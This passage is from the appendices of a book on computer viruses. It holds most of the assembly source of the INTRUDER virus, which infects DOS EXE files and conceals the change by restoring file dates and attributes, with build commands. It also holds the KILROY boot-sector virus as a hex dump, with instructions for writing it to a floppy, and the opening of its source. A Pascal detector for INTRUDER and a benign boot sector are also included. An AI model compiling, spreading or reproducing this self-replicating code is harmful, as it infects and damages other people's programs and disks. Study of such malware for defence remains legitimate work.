jz CSO_1 ;jump if OK

stc ;else set carry and exit

ret

CSO_1: xor ax,ax

sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0

ret ;c is set if it's anything but 0

;**************************************************************************

;This function reads the 28 byte EXE file header for the file named in USEFILE.

;It puts the header in EXE_HDR, and returns c set if unsuccessful.

;

GET_EXE_HEADER:

mov dx,OFFSET USEFILE

mov ax,3D02H ;r/w access open file

int 21H

jc RE_RET ;error opening quit without closing

mov [HANDLE],ax ;else save file handle

mov bx,ax ;handle to bx

mov cx,1CH ;read 28 byte EXE file header

mov dx,OFFSET EXE_HDR ;into this buffer

mov ah,3FH

int 21H

RE_RET: ret ;return with c set properly

;**************************************************************************

;This function determines if there are at least NUMRELS openings in the

;current relocatable table in USEFILE. If there are, it returns with

;carry reset, otherwise it returns with carry set. The computation

;this routine does is to compare whether

; ((Header Size * 4) + Number of Relocatables) * 4 Start of Rel Table

;is = than 4 * NUMRELS. If it is, then there is enough room

;

REL_ROOM:

mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs

add ax,ax

add ax,ax

sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables

add ax,ax

add ax,ax

sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table

cmp ax,4*NUMRELS ;enough room to put relocatables in?

RR_RET: ret ;exit with carry set properly

;**************************************************************************

;This function determines whether the word at the initial CS:0000 in USEFILE

;is the same as VIRUSID in this program. If it is, it returns c set, otherwise

;it returns c reset.

;

Appendix B: The INTRUDER Virus 110

 

IS_ID_THERE:

mov ax,WORD PTR [EXE_HDR+22] ;Initial CS

add ax,WORD PTR [EXE_HDR+8] ;Header size

mov dx,16

mul dx

mov cx,dx

mov dx,ax ;cx:dx = where to look for VIRUSID in file

mov bx,[HANDLE]

mov ax,4200H ;set file pointer, relative to beginning

int 21H

mov ah,3FH

mov bx,[HANDLE]

mov dx,OFFSET VIDC

mov cx,2 ;read 2 bytes into VIDC

int 21H

jc II_RET ;errorreport as though ID is there already

mov ax,[VIDC]

cmp ax,[VIRUSID] ;is it the VIRUSID?

clc

jnz II_RET ;if not, virus is not already in this file

stc ;else it is probably there already

II_RET: ret

;**************************************************************************

;This routine makes sure file end is at paragraph boundary, so the virus

;can be attached with a valid CS, with IP=0. Assumes file pointer is at end

;of file.

SETBDY:

mov al,BYTE PTR [FSIZE]

and al,0FH ;see if we have a paragraph boundary

jz SB_E ;all set exit

mov cx,10H ;no write any old bytes to even it up

sub cl,al ;number of bytes to write in cx

mov dx,OFFSET FINAL ;set buffer up to point anywhere

add WORD PTR [FSIZE],cx ;update FSIZE

adc WORD PTR [FSIZE+2],0

mov bx,[HANDLE]

mov ah,40H ;DOS write function

int 21H

SB_E: ret

;**************************************************************************

;This routine moves the virus (this program) to the end of the EXE file

;Basically, it just copies everything here to there, and then goes and

;adjusts the EXE file header and two relocatables in the program, so that

;it will work in the new environment. It also makes sure the virus starts

;on a paragraph boundary, and adds how many bytes are necessary to do that.

;

INFECT:

mov cx,WORD PTR [FSIZE+2]

mov dx,WORD PTR [FSIZE]

mov bx,[HANDLE]

mov ax,4200H ;set file pointer, relative to start

int 21H ;go to end of file

call SETBDY ;lengthen to pgrph bdry if necessary

mov cx,OFFSET FINAL ;last byte of code

xor dx,dx ;first byte of code, DS:DX

mov bx,[HANDLE] ;move virus code to end of file being

mov ah,40H ;attacked, using DOS write function

int 21H

mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)

mov cx,WORD PTR [FSIZE+2]

mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file

inc bx

add dx,bx

mov bx,0

adc cx,bx ;cx:dx is that number

mov bx,[HANDLE]

mov ax,4200H ;set file pointer to 1st relocatable

111 The Little Black Book of Computer Viruses

 

int 21H

mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program

mov bx,[HANDLE] ;from the EXE header

mov cx,2

mov ah,40H ;and write it to relocatable REL1+1

int 21H

mov dx,WORD PTR [FSIZE]

mov cx,WORD PTR [FSIZE+2]

mov bx,OFFSET REL1A ;put in correct old SP from EXE header

inc bx ;at FSIZE+REL1A+1

add dx,bx

mov bx,0

adc cx,bx ;cx:dx points to FSIZE+REL1A+1

mov bx,[HANDLE]

mov ax,4200H ;set file ptr to place to write SP to

int 21H

mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected pgm

mov bx,[HANDLE] ;from EXE header

mov cx,2

mov ah,40H ;and write it where it belongs

int 21H

mov dx,WORD PTR [FSIZE]

mov cx,WORD PTR [FSIZE+2]

mov bx,OFFSET REL2 ;put in correct old CS:IP in program

add bx,1 ;at FSIZE+REL2+1 on disk

add dx,bx

mov bx,0

adc cx,bx ;cx:dx points to FSIZE+REL2+1

mov bx,[HANDLE]

mov ax,4200H ;set file ptr relavtive to beginning

int 21H

mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header

mov bx,[HANDLE]

mov cx,4

mov ah,40H ;and write 4 bytes to FSIZE+REL2+1

int 21H

;done writing relocatable vectors

;so now adjust the EXE header values

xor cx,cx

xor dx,dx

mov bx,[HANDLE]

mov ax,4200H ;set file pointer to start of file

int 21H

mov ax,WORD PTR [FSIZE] ;calculate new init CS (the virus' CS)

mov cl,4 ;given by (FSIZE/16)HEADER SIZE

shr ax,cl ;(in paragraphs)

mov bx,WORD PTR [FSIZE+2]

and bl,0FH

mov cl,4

shl bl,cl

add ah,bl

sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)

mov WORD PTR [EXE_HDR+22],ax;and save as initial CS

mov bx,OFFSET FINAL ;compute new initial SS

add bx,10H ;using the formula

mov cl,4 ;SSi=(CSi + (OFFSET FINAL+16)/16)

shr bx,cl

add ax,bx

mov WORD PTR [EXE_HDR+14],ax ;and save it

mov ax,OFFSET VIRUS ;get initial IP

mov WORD PTR [EXE_HDR+20],ax ;and save it

mov ax,STACKSIZE ;get initial SP

mov WORD PTR [EXE_HDR+16],ax ;and save it

mov dx,WORD PTR [FSIZE+2]

mov ax,WORD PTR [FSIZE] ;calculate new file size

mov bx,OFFSET FINAL

add ax,bx

xor bx,bx

adc dx,bx ;put it in ax:dx

add ax,200H ;and set up the new page count

Appendix B: The INTRUDER Virus 112

 

adc dx,bx ;page ct= (ax:dx+512)/512

push ax

mov cl,9

shr ax,cl

mov cl,7

shl dx,cl

add ax,dx

mov WORD PTR [EXE_HDR+4],ax ;and save it here

pop ax

and ax,1FFH ;now calculate last page size

mov WORD PTR [EXE_HDR+2],ax ;and put it here

mov ax,NUMRELS ;adjust relocatables counter

add WORD PTR [EXE_HDR+6],ax

mov cx,1CH ;and save data at start of file

mov dx,OFFSET EXE_HDR

mov bx,[HANDLE]

mov ah,40H ;DOS write function

int 21H

mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table

dec ax ;in order to calculate location of

dec ax ;where to add relocatables

mov bx,4 ;Location=(No in tbl2)*4+Table Offset

mul bx

add ax,WORD PTR [EXE_HDR+24];table offset

mov bx,0

adc dx,bx ;dx:ax=end of old table in file

mov cx,dx

mov dx,ax

mov bx,[HANDLE]

mov ax,4200H ;set file pointer to table end

int 21H

mov ax,WORD PTR [EXE_HDR+22];and set up 2 pointers:

mov bx,OFFSET REL1 ;init CS = seg of REL1

inc bx ;offset of REL1

mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to

mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now

mov ax,WORD PTR [EXE_HDR+22];init CS = seg of REL2

mov bx,OFFSET REL2

add bx,3 ;offset of REL2

mov WORD PTR [EXE_HDR+4],bx ;write it to buffer

mov WORD PTR [EXE_HDR+6],ax

mov cx,8 ;and then write 8 bytes of data in file

mov dx,OFFSET EXE_HDR

mov bx,[HANDLE]

mov ah,40H ;DOS write function

int 21H

ret ;that's it, infection is complete!

;**************************************************************************

;This routine determines whether the reproduction code should be executed.

;If it returns Z, the reproduction code is executed, otherwise it is not.

;Currently, it only executes if the system time variable is a multiple of

;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1

;executions of the program. TIMECT should be 2^n1

;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program

;is run. This makes SHOULDRUN return Z for sure the first time, so it

;definitely runs when this loader program is run, but after that, the time must

;be an even multiple of TIMECT+1.

;

TIMECT EQU 63 ;Determines how often to reproduce (1/64 here)

;

SHOULDRUN:

xor ah,ah ;zero ax to start, set z flag

SR1: ret ;this gets replaced by NOP when program runs

int 1AH

and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?

ret ;return with z flag set if it is, else nz set

113 The Little Black Book of Computer Viruses

 

;**************************************************************************

;SETSR modifies SHOULDRUN so that the full procedure gets run

;it is redundant after the initial load

SETSR:

mov al,90H ;NOP code

mov BYTE PTR SR1,al ;put it in place of RET above

ret ;and return

;**************************************************************************

;This routine sets up the new DTA location at DTA1, and saves the location of

;the initial DTA in the variable OLDDTA.

NEW_DTA:

mov ah,2FH ;get current DTA in ES:BX

int 21H

mov WORD PTR [OLDDTA],bx ;save it here

mov ax,es

mov WORD PTR [OLDDTA+2],ax

mov ax,cs

mov es,ax ;set up ES

mov dx,OFFSET DTA1 ;set new DTA offset

mov ah,1AH

int 21H ;and tell DOS where we want it

ret

;**************************************************************************

;This routine reverses the action of NEW_DTA and restores the DTA to its

;original value.

RESTORE_DTA:

mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs

mov ax,WORD PTR [OLDDTA+2]

mov ds,ax

mov ah,1AH

int 21H ;and tell DOS where to put it

mov ax,cs ;restore ds before exiting

mov ds,ax

ret

;**************************************************************************

;This routine saves the original file attribute in FATTR, the file date and

;time in FDATE and FTIME, and the file size in FSIZE. It also sets the

;file attribute to read/write, and leaves the file opened in read/write

;mode (since it has to open the file to get the date and size), with the handle

;it was opened under in HANDLE. The file path and name is in USEFILE.

SAVE_ATTRIBUTE:

mov ah,43H ;get file attr

mov al,0

mov dx,OFFSET USEFILE

int 21H

mov [FATTR],cl ;save it here

mov ah,43H ;now set file attr to r/w

mov al,1

mov dx,OFFSET USEFILE

mov cl,0

int 21H

mov dx,OFFSET USEFILE

mov al,2 ;now that we know it's r/w

mov ah,3DH ;we can r/w access open file

int 21H

mov [HANDLE],ax ;save file handle here

mov ah,57H ;and get the file date and time

xor al,al

mov bx,[HANDLE]

int 21H

mov [FTIME],cx ;and save it here

mov [FDATE],dx ;and here

mov ax,WORD PTR [DTA1+28] ;file size was set up here by

mov WORD PTR [FSIZE+2],ax ;search routine

mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE

Appendix B: The INTRUDER Virus 114

 

mov WORD PTR [FSIZE],ax

ret

;**************************************************************************

;Restore file attribute, and date and time of the file as they were before

;it was infected. This also closes the file

REST_ATTRIBUTE:

mov dx,[FDATE] ;get old date and time

mov cx,[FTIME]

mov ah,57H ;set file date and time to old value

mov al,1

mov bx,[HANDLE]

int 21H

mov ah,3EH

mov bx,[HANDLE] ;close file

int 21H

mov cl,[FATTR]

xor ch,ch

mov ah,43H ;Set file attr to old value

mov al,1

mov dx,OFFSET USEFILE

int 21H

ret

FINAL: ;last byte of code to be kept in virus

VSEG ENDS

;**************************************************************************

;Virus stack segment

VSTACK SEGMENT PARA STACK

db STACKSIZE dup (?)

VSTACK ENDS

END VIRUS ;Entry point is the virus

To compile the INTRUDER virus using MASM, just type

masm intruder;

link intruder;

If you use TASM instead, just substitute TASM for MASM in the

above. If you use A86, compile as follows:

a86 intruder.asm intruder.obj

link intruder;

Quite simple. You end up with INTRUDER.EXE, which is an

infected file.

Since the virus infects files without warning, it is essen

tially invisible. The following Turbo Pascal program, FINDINT,

will locate the program on any disk drive. Just call it as ``FINDINT

D'' to search the D: drive for infected files, etc.

{The program find_intruder determines which files are infected by the INTRUDER

virus on a specified disk drive. It works by looking for the same ID code as

the virus does when determining whether a file has already been infected. That

code is located at the initial code segment, offset 0, in the EXE file. This

must be located in the disk file and read, and compared with the value

115 The Little Black Book of Computer Viruses

 

contained in INTRUDER}

program find_intruder; {Compile with Turbo Pascal 4.0 or higher}

uses dos;

const

id_check :word=$C8AA; {Intruder ID code word to look for}

type

header_type =record {EXE file header structure}

signature :word;

lp_size :word;

pg_count :word;

rel_tbl_entries:word;

hdr_paragraphs :word;

minalloc :word;

maxalloc :word;

init_ss :word;

init_sp :word;

chksum :word;

init_ip :word;

init_cs :word;

rel_tbl_ofs :word;

overlay :word;

end;

var

check_file :file; {File being checked}

header :header_type; {Exe header data area for file being checked}

id_byte :word; {Init CS:0 value from the file being checked}

srchpath :string; {Current path being searched}

{The following routine checks one file for infection by opening it, reading

the EXE header, calculating the location of Initial CS:0000, and reading 2

bytes from there. Then it compares those bytes with id_check. If they're the

same, then the file is infected. If the signature is not correct, then the

program will also display that, so you can find out if you have any nonEXE

files with the extent .EXE with it.}

procedure check_one_file(fname:string);

begin

assign(check_file,fname); {Set up the file with this path\name}

{$I} {I/O checking handled explicitly here}

reset(check_file,1); {Open the file}

if IOResult0 then {If an error, report it to the console}

begin

writeln('IO error on the file ',fname);

exit;

end;

BlockRead(check_file,header,sizeof(header)); {Read the EXE header}

if IOResult0 then

begin

writeln('IO error on the file ',fname);

exit;

end;

if header.signatureord('Z')*256+ord('M') then

begin

writeln(fname,' is not an EXE program file!');

exit;

end;

Seek(check_file,16*(header.hdr_paragraphs+header.init_cs)); {Seek Init CS:0}

if IOResult0 then {Don't forget to take into account the size}

begin {of header in calculating this!}

writeln('IO error on the file ',fname);

exit;

end;

BlockRead(check_file,id_byte,2); {Read 2 bytes at Init CS:0000}

if IOResult0 then

begin

Appendix B: The INTRUDER Virus 116

 

writeln('IO error on the file ',fname);

exit;

end;

close(check_file); {and close the file}

if IOResult0 then

begin

writeln('IO error on the file ',fname);

exit;

end;

{$I+} {if id_byte read from file = id_check, it's infected}

if id_byte=id_check then writeln(fname,' is infected.')

end;

{The following routine checks all files in the specified path, or any of its

subdirectories for infection. It will check a whole disk if the initial path

is '\'. Note that it is recursive, and if directories are nested too deep,

a stack overflow error will occur.}

procedure check_all_files(path:string);

var

ExeFile :SearchRec;

DirEntry :SearchRec;

begin

FindFirst(path+'\*.*',Directory,DirEntry);

while DosError=0 do

begin

if (DirEntry.Attr and Directory 0)

and (DirEntry.Name[1]'.') then

check_all_files(path+'\'+DirEntry.Name);

FindNext(DirEntry);

end;

FindFirst(path+'\*.EXE',AnyFile,ExeFile);

while DosError=0 do

begin

check_one_file(path+'\'+ExeFile.Name);

FindNext(ExeFile);

end;

end;

begin {main}

if ParamCount=1 then srchpath:=ParamStr(1) {if drive on command line, use it}

else srchpath:=''; {otherwise take default drive}

check_all_files(srchpath); {and check all files on that drive}

end.

117 The Little Black Book of Computer Viruses

 

Appendix C: A Basic Boot Sector

The gutted out boot sector, BOOT.ASM which is not a

virus, but which forms the core for the Kilroy virus is listed here as

an ASM file. Neither HEX listing nor batch files are provided.

;This is a simple boot sector that will load either MSDOS or PCDOS. It is not

;selfreproducing, but it will be used as the foundation on which to build a

;virus into a boot sector.

;This segment is where the first operating system file (IBMBIO.COM or IO.SYS)

;will be loaded and executed from. We don't know (or care) what is there, but

;we do need the address to jump to defined in a separate segment so we can

;execute a far jump to it.

DOS_LOAD SEGMENT AT 0070H

ASSUME CS:DOS_LOAD

ORG 0

LOAD: DB 0 ;Start of the first os program

DOS_LOAD ENDS

MAIN SEGMENT BYTE

ASSUME CS:MAIN,DS:MAIN,SS:NOTHING

;This jump instruction is just here so we can compile this program as a COM

;file. It is never actually executed, and never becomes a part of the boot

;sector. Only the 512 bytes after the address 7C00 in this file become part of

;the boot sector.

ORG 100H

START: jmp BOOTSEC

;The following two definitions are BIOS RAM bytes which contain information

;about the number and type of disk drives in the computer. These are needed by

;the virus to decide on where to look to find drives to infect. They are not

;normally needed by an ordinary boot sector.

;

; ORG 0410H

;

;SYSTEM_INFO: DB ? ;System info byte: Take bits 6 & 7 and add 1 to

;get number of disk drives on this system

;(eg 01 = 2 drives)

 

;

; ORG 0475H

;

;HD_COUNT: DB ? ;Number of hard drives in the system

;

;This area is reserved for loading the first sector of the root directory, when

;checking for the existence of system files and loading the first system file.

ORG 0500H

DISK_BUF: DW ? ;Start of the buffer

;Here is the start of the boot sector code. This is the chunk we will take out

;of the compiled COM file and put it in the first sector on a 360K floppy disk.

;Note that this MUST be loaded onto a 360K floppy to work, because the

;parameters in the data area that follow are set up to work only with a 360K

;disk!

ORG 7C00H

BOOTSEC: JMP BOOT ;Jump to start of boot sector code

ORG 7C03H ;Start of data area

DOS_ID: DB 'EZBOOT ' ;Name of this boot sector (8 bytes)

SEC_SIZE: DW 200H ;Size of a sector, in bytes

SECS_PER_CLUST: DB 02 ;Number of sectors in a cluster

FAT_START: DW 1 ;Starting sector for the first FAT

FAT_COUNT: DB 2 ;Number of FATs on this disk

ROOT_ENTRIES: DW 70H ;Number of root directory entries

SEC_COUNT: DW 2D0H ;Total number of sectors on this disk

DISK_ID: DB 0FDH ;Disk type code (This is 360KB)

SECS_PER_FAT: DW 2 ;Number of sectors per FAT

SECS_PER_TRK: DW 9 ;Sectors per track for this drive

HEADS: DW 2 ;Number of heads (sides) on this drive

HIDDEN_SECS: DW 0 ;Number of hidden sectors on the disk

DSKBASETBL:

DB 0 ;Specify byte 1

DB 0 ;Specify byte 2

DB 0 ;Wait time until motor turned off, in clk ticks

DB 0 ;Bytes per sector (0=128, 1=256, 2=512, 3=1024)

DB 12H ;Last sector number (lg enough to handle 1.44M)

DB 0 ;Gap length between sectors for r/w operations

DB 0 ;Data xfer lgth when sector lgth not specified

DB 0 ;Gap lgth between sectors for formatting

DB 0 ;Value stored in newly formatted sectors

DB 1 ;Head settle time, in milliseconds

DB 0 ;Motor startup time, in 1/8 seconds

HEAD: DB 0 ;Current head to read from

;Here is the start of the boot sector code

BOOT: CLI ;interrupts off

XOR AX,AX ;prepare to set up segments

MOV ES,AX ;set ES=0

MOV SS,AX ;start stack at 0000:7C00

MOV SP,OFFSET BOOTSEC

MOV BX,1EH*4 ;get address of disk

LDS SI,SS:[BX] ;param table in ds:si

PUSH DS

PUSH SI ;save that address

PUSH SS

PUSH BX ;and its address

MOV DI,OFFSET DSKBASETBL ;and update default

MOV CX,11 ;values to table stored here

CLD ;direction flag cleared

DFLT1: LODSB

CMP BYTE PTR ES:[DI],0 ;anything nonzero

JNZ SHORT DFLT2 ;not default, so don't save it

119 The Little Black Book of Computer Viruses

 

STOSB ;else put default in place

JMP SHORT DFLT3 ;and go on to next

DFLT2: INC DI

DFLT3: LOOP DFLT1 ;and loop until cx=0

MOV AL,AH ;set ax=0

MOV DS,AX ;set ds=0 so we set disk tbl

MOV WORD PTR [BX+2],AX ;to @DSKBASETBL (ax=0 here)

MOV WORD PTR [BX],OFFSET DSKBASETBL ;ok, done

STI ;now turn interrupts on

INT 13H ;and reset disk drive system

ERROR1: JC ERROR1 ;if an error, hang the machine

;Here we look at the first file on the disk to see if it is the first MSDOS or

;PCDOS system file, IO.SYS or IBMBIO.COM, respectively.

LOOK_SYS:

MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk

XOR AH,AH

MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat

ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors

ADD AX,WORD PTR [FAT_START] ;add starting fat sector

PUSH AX

MOV WORD PTR [DOS_ID],AX ;root dir, save it

MOV AX,20H ;dir entry size

MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax

MOV BX,WORD PTR [SEC_SIZE] ;sector size

ADD AX,BX ;add one sector

DEC AX ;decrement by 1

DIV BX ;ax=# sectors in root dir

ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data

MOV BX,OFFSET DISK_BUF ;set up disk buffer @ 0000:0500

POP AX

CALL CONVERT ;convert sec # to bios data

MOV AL,1 ;prepare for 1 sector disk read

CALL READ_DISK ;go read it

MOV DI,BX ;compare first file on disk

MOV CX,11 ;with required file name of

MOV SI,OFFSET SYSFILE_1 ;first system file for PC DOS

REPZ CMPSB

JZ SYSTEM_THERE ;ok, found it, go load it

MOV DI,BX ;compare first file with

MOV CX,11 ;required file name of

MOV SI,OFFSET SYSFILE_2 ;first system file for MS DOS

REPZ CMPSB

ERROR2: JNZ ERROR2 ;not the same an error,

;so hang the machine

;Ok, system file is there, so load it

SYSTEM_THERE:

MOV AX,WORD PTR [DISK_BUF+1CH]

XOR DX,DX ;get size of IBMBIO.COM/IO.SYS

DIV WORD PTR [SEC_SIZE] ;and divide by sector size

INC AL ;ax=number of sectors to read

MOV BP,AX ;store that number in BP

MOV AX,WORD PTR [DOS_ID] ;get sector # of start of data

PUSH AX

MOV BX,700H ;set disk buffer to 0000:0700

RD_BOOT1: MOV AX,WORD PTR [DOS_ID] ;and get sector to read

CALL CONVERT ;convert to bios Trk/Cyl/Sec

MOV AL,1 ;read one sector

CALL READ_DISK ;go read the disk

SUB BP,1 ;# sectors to read 1

JZ DO_BOOT ;and quit if we're done

ADD WORD PTR [DOS_ID],1 ;add sectors read to sector to

ADD BX,WORD PTR [SEC_SIZE] ;read and update buffer address

JMP RD_BOOT1 ;then go for another

Appendix C: A Basic Boot Sector 120

 

;Ok, the first system file has been read in, now transfer control to it

DO_BOOT:

MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch

MOV DL,BYTE PTR [DRIVE] ;Drive number in dl

POP BX

JMP FAR PTR LOAD ;and transfer control to op sys

;Convert sequential sector number in ax to BIOS Track, Head, Sector

;information. Save track number in DX, sector number in CH,

CONVERT:

XOR DX,DX

DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors per track

INC DL ;dl=sector # to start read on

MOV CH,DL ;save it here

XOR DX,DX ;al=track/head count

DIV WORD PTR [HEADS] ;divide ax by head count

MOV BYTE PTR [HEAD],DL ;dl=head number, save it

MOV DX,AX ;ax=track number, save it in dx

RET

;Read the disk for the number of sectors in al, into the buffer es:bx, using

;the track number in DX, the head number at HEAD, and the sector

;number at CH.

READ_DISK:

MOV AH,2 ;read disk command

MOV CL,6 ;shift upper 2 bits of trk #

SHL DH,CL ;to the high bits in dh

OR DH,CH ;and put sec # in low 6 bits

MOV CX,DX

XCHG CH,CL ;ch (05) = sector,

;cl, ch (67) = track

MOV DL,BYTE PTR [DRIVE] ;get drive number from here

MOV DH,BYTE PTR [HEAD] ;and head number from here

INT 13H ;go read the disk

ERROR3: JC ERROR3 ;hang in case of an error

RET

;Move data that doesn't change from this boot sector to the one read in at

;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and

;the data area at the beginning of the boot sector.

MOVE_DATA:

MOV SI,OFFSET DSKBASETBL ;Move boot sec code after data

MOV DI,OFFSET DISK_BUF+(OFFSET DSKBASETBLOFFSET BOOTSEC)

MOV CX,OFFSET DRIVE OFFSET DSKBASETBL

REP MOVSB

MOV SI,OFFSET BOOTSEC ;Move initial jump and sec ID

MOV DI,OFFSET DISK_BUF

MOV CX,11

REP MOVSB

RET

SYSFILE_1: DB 'IBMBIO COM' ;PC DOS System file

SYSFILE_2: DB 'IO SYS' ;MS DOS System file

ORG 7DFDH

DRIVE: DB 0 ;Disk drive for boot sector

BOOT_ID: DW 0AA55H ;Boot sector ID word

MAIN ENDS

END START

121 The Little Black Book of Computer Viruses

 

Appendix D: The KILROY Virus

WARNING: If you attempt to create a disk infected with

the KILROY virus, MARK IT CAREFULLY, and DONOTBOOT

WITH IT, unless you are absolutely sure of what you are doing! If

you are not careful you could cause a runaway infection!! Remem

ber that any disk infected with this virus will display the message

``Kilroy was here'' when it boots, so watch out for that message if

you have ever allowed the KILROY virus to execute on your

system! PROCEED AT YOUROWN RISK!

The HEX listing of the Kilroy virus is as follows:

:10000000EB28904B494C524F59202000020201002E

:10001000027000D002FD0200090002000000000092

:1000200000001200000000010000FA33C08EC08EF4

:10003000D0BC007CBB780036C5371E561653BF1E99

:100040007CB90B00FCAC26803D007503AAEB014790

:10005000E2F38AC48ED8894702C7071E7CFBCD1302

:1000600072FEE83E01BB0005803EFD7D80742EBA25

:100070008001803E7504007424B90100B80102CDEE

:1000800013721A813EFE0655AA7512E8FE00BA8068

:1000900001B90100B80103CD137202EB32A01004C4

:1000A00024C0D0C0D0C0FEC03C027223BA0100B848

:1000B0000102B90100CD137216813EFE0655AA75E4

:1000C0000EE8C800BA0100B80103B90100CD13A0C1

:1000D000107C32E4F726167C03061C7C03060E7C9B

:1000E00050A3037CB82000F726117C8B1E0B7C03E9

:1000F000C348F7F30106037CBB000558E85D00B078

:1001000001E86F008BFBB90B00BEB27DF3A6740C47

:100110008BFBB90B00BEBD7DF3A675FEA11C05339C

:10012000D2F7360B7CFEC08BE8A1037C50BB0007E6

:10013000A1037CE82600B001E8380083ED01740BD0

:100140008306037C01031E0B7CEBE58A2E157C8A5B

 

:1001500016FD7D5BB870005033C050CB33D2F736FC

:10016000187CFEC28AEA33D2F7361A7C8816297CBC

:100170008BD0C3B402B106D2E60AF58BCA86E98AEF

:1001800016FD7D8A36297CCD1372FEC3BE1E7CBF50

:100190001E05B9DF01F3A4BE007CBF0005B90B004A

:1001A000F3A4C3BEC87DB40EAC0AC07404CD10EB7A

:1001B000F5C349424D42494F2020434F4D494F20FE

:1001C00020202020205359534B696C726F7920777F

:1001D00061732068657265210D0A0A000000000045

:1001E000000000000000000000000000000000000F

:1001F000000000000000000000000000000055AA00

:00000001FF

To load it onto a floppy disk, put a disk in drive A and format it

using the /s option to put DOS on the disk. Create the HEX file

KILROY.HEX from the above listing, and load it using LOAD.BAS

in Appendix F. Then create a batch file KILROY_H.BAT that looks

like this:

debug kilroy.com <kilroy_h.dbg

and a file KILROY_H.DBG that looks like this:

r cx

200

w 100 0 0 1

q

and execute KILROY_H with the newly formatted floppy disk in

drive A. The boot sector virus will be put on drive A. If you boot

from that disk even once, your hard disk will be promptly infected,

and you will have to reformat it to get rid of the virus, unless you

use the tools in Appendix G. DONOTDO IT UNLESS YOUARE

SURE YOUKNOWWHATYOUARE DOING.

The assembly language source listing for the Kilroy virus

(KILROY.ASM), in its entirety, is as follows:

;The KILROY onesector boot sector virus will both boot up either MSDOS or

;PCDOS and it will infect other disks.

;This segment is where the first operating system file (IBMBIO.COM or IO.SYS)

;will be loaded and executed from. We don't know (or care) what is there, but

;we do need the address to jump to defined in a separate segment so we can

;execute a far jump to it.

DOS_LOAD SEGMENT AT 0070H

ASSUME CS:DOS_LOAD

ORG 0

LOAD: DB 0 ;Start of the first operating system program

123 The Little Black Book of Computer Viruses

 

DOS_LOAD ENDS

MAIN SEGMENT BYTE

ASSUME CS:MAIN,DS:MAIN,SS:NOTHING

;This jump instruction is just here so we can compile this program as a COM

;file. It is never actually executed, and never becomes a part of the boot

;sector. Only the 512 bytes after the address 7C00 in this file become part of

;the boot sector.

ORG 100H

START: jmp BOOTSEC

;The following two definitions are BIOS RAM bytes which contain information

;about the number and type of disk drives in the computer. These are needed by

;the virus to decide on where to look to find drives to infect. They are not

;normally needed by an ordinary boot sector.

ORG 0410H

SYSTEM_INFO: DB ? ;System info byte: Take bits 6 & 7 and add 1 to

;get number of disk drives on this system

;(eg 01 = 2 drives)

ORG 0475H

HD_COUNT: DB ? ;Number of hard drives in the system

;This area is reserved for loading the boot sector from the disk which is going

;to be infected, as well as the first sector of the root directory, when

;checking for the existence of system files and loading the first system file.

ORG 0500H

DISK_BUF: DW ? ;Start of the buffer

ORG 06FEH

NEW_ID: DW ? ;Location of AA55H in boot sector loaded at

DISK_BUF

;Here is the start of the boot sector code. This is the chunk we will take out

;of the compiled COM file and put it in the first sector on a 360K floppy disk.

;Note that this MUST be loaded onto a 360K floppy to work, because the

;parameters in the data area that follow are set up to work only with a 360K

;disk!

ORG 7C00H

BOOTSEC: JMP BOOT ;Jump to start of boot sector code

ORG 7C03H ;Start of data area

DOS_ID: DB 'KILROY ' ;Name of this boot sector (8 bytes)

SEC_SIZE: DW 200H ;Size of a sector, in bytes

SECS_PER_CLUST: DB 02 ;Number of sectors in a cluster

FAT_START: DW 1 ;Starting sector for the first FAT

FAT_COUNT: DB 2 ;Number of FATs on this disk

ROOT_ENTRIES: DW 70H ;Number of root directory entries

SEC_COUNT: DW 2D0H ;Total number of sectors on this disk

DISK_ID: DB 0FDH ;Disk type code (This is 360KB)

SECS_PER_FAT: DW 2 ;Number of sectors per FAT

SECS_PER_TRK: DW 9 ;Sectors per track for this drive

HEADS: DW 2 ;Number of heads (sides) on this drive

HIDDEN_SECS: DW 0 ;Number of hidden sectors on the disk

DSKBASETBL:

DB 0 ;Specify byte 1: step rate time, hd unload time

Appendix D: The KILROY Virus 124

 

DB 0 ;Specify byte 2: Head load time, DMA mode

DB 0 ;Wait time until motor turned off, in ticks

DB 0 ;Bytes per sector (0=128, 1=256, 2=512, 3=1024)

DB 12H ;Last sector number (lg enough to handle 1.44M)

DB 0 ;Gap length between sectors for r/w operations

DB 0 ;Data xfer lgth when sector lgth not specified

DB 0 ;Gap length between sectors for formatting

DB 0 ;Value stored in newly formatted sectors

DB 1 ;Head settle time, in milliseconds

DB 0 ;Motor startup time, in 1/8 seconds

HEAD: DB 0 ;Current head to read from

;Here is the start of the boot sector code

BOOT: CLI ;interrupts off

XOR AX,AX ;prepare to set up segments

MOV ES,AX ;set ES=0

MOV SS,AX ;start stack at 0000:7C00

MOV SP,OFFSET BOOTSEC

MOV BX,1EH*4 ;get address of disk

LDS SI,SS:[BX] ;param table in ds:si

PUSH DS

PUSH SI ;save that address

PUSH SS

PUSH BX ;and its address

MOV DI,OFFSET DSKBASETBL ;and update default

MOV CX,11 ;values to table values here

CLD ;direction flag cleared

DFLT1: LODSB

CMP BYTE PTR ES:[DI],0 ;anything nonzero

JNZ SHORT DFLT2 ;not default, so don't save it

